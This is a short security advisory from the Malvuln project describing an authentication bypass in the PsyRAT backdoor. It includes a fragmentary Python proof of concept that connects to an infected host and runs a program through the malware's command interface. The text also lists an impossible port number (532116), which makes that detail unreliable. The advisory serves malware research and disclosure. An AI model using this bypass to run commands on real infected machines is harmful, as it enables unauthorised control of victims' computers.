Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source:  
Threat: Backdoor.Win32.Agent.ju (PSYRAT)  
Vulnerability: Authentication Bypass RCE  
Family: PSYRAT  
Type: PE32  
MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3  
Vuln ID: MVID-2024-0677  
Disclosure: 04/01/2024  
Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet.  
C\ - Fixed Drive^D\ - CD-ROM^  
Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port|Password |Install name |Reg value |PHP URL  
exe_sho [Program_Name] starts a program   
from socket import *  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
#send bad password  
#call commands  
PAYLOAD="exe_sho calc"   
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